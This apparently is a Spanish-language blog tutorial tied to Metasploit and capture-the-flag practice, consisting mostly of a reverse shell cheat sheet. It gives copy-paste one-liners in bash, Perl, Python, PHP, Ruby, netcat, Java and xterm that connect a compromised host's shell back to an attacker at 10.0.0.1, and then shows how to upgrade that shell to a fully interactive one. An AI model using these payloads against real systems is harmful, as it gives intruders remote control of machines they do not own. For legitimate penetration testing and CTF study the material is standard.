Advertisement

header ads

APRENDER MAGIA VUDÚ EN METASPPLOIT

Muchos me van a criticar porque llamo este método "MAGIA VUDÚ" cuando realmente lo que hago es usar unos comandos para trabajar cómodamente.

Ahora vamos aprender a usar esos comando para intentar trabajar con metasploit.
Pero antes de empezar necesitamos los siguientes requisitos que tenga el servidor vulnerable:

REQUISITOS: 



1. Python2.7 o python3
2. Usar un exploit con metasploit.

En mi caso ya tengo un servidor de prueba
Si uno es hábil puede controlarlo desde ahí, pero si te cuesta un poco y quieres manejarlo visualmente mejor hagamos lo siguiente.
Hagamos un "Reverse Shell Cheat Sheet"

¿Qué es Reverse Shell Cheat Sheet?

Si tiene la suerte de encontrar una vulnerabilidad de ejecución de comando durante una prueba de penetración, muy pronto probablemente querrá un intérprete de comandos interactivo.

Si no es posible agregar una nueva cuenta /  SSH key / .rhosts y simplemente iniciar sesión, es probable que su siguiente paso sea retroceder un shell inverso o vincular un shell a un puerto TCP. Esta página trata de la primera.

Sus opciones para crear un shell inverso están limitadas por los lenguajes de scripting instalados en el sistema de destino, aunque también podría cargar un programa binario si está adecuadamente preparado.

Los ejemplos mostrados están diseñados para sistemas tipo Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si usa el sustituto
“/bin/sh -i” con "cmd.exe".

Cada uno de los métodos siguientes tiene como objetivo ser un trazador de líneas que puede copiar/pegar. Como tales, son líneas bastante cortas, pero no muy legibles.

BASH


Algunas versiones de bash pueden enviarte un shell inverso (esto fue probado en Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Aquí hay una versión más corta y sin características de la shell perl-reverse:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Esto fue probado bajo Linux/Python 2.7(es lo que vamos a usar):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

Este código supone que la conexión TCP utiliza el descriptor 3. Esto funcionó en mi sistema de prueba. Si no funciona, prueba 4, 5, 6 ...
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Si desea que se cargue un archivo .php, consulte el más funcional y robusto shell php-reverse.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat rara vez está presente en los sistemas de producción e, incluso si es que hay varias versiones de netcat, algunas de las cuales no admiten la opción -e.
nc -e /bin/sh 10.0.0.1 1234
Si tiene instalada la versión incorrecta de netcat, Jeff Price señala que aún podría recuperar su reverse shell así:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Presentación no comprobada]

xterm

Una de las formas más simples de shell inverso es una sesión xterm. El siguiente comando debe ejecutarse en el servidor. Intentará conectarse nuevamente a usted (10.0.0.1) en el puerto TCP 6001.
xterm -display 10.0.0.1:1
Para capturar el xterm entrante, inicie un X-Server (: 1 - que escucha en el puerto TCP 6001). Una forma de hacerlo es con Xnest (que se ejecutará en su sistema):
Xnest :1
Necesitará autorizar que el objetivo se conecte a usted (el comando también se ejecuta en su host):
xhost +targetip

2. SIGUIENTE MÉTODO

Después de entender un poco sobre reverse shell bash vamos a usar el siguiente comando. Al obtener un shell inverso con un oyente Netcat, es por defecto no interactivo y no puede pasar atajos de teclado o caracteres especiales como tabulación.

python -c 'import pty;pty.spawn("/bin/bash");'
Después presiona CTRL+Z, luego usar el siguiente comando
stty raw -echo
en su terminal, que le dirá a su terminal que apruebe atajos de teclado, etc. Una vez hecho esto, ejecuta el comando
fg
Tenga en cuenta que no podrá ver lo que está escribiendo en la terminal después de cambiar su configuración. Ahora debería tener la función de autocompleta y también poder usar comandos interactivos como su y nano.
Ahora te puede funcionar y repito para manejar todo por consola mas cómodamente ahora quisiera agradecer a mi crush de CTF que me enseño este todo en caso de tener que usarlo y gracias por leer. Saludos!

Publicar un comentario

0 Comentarios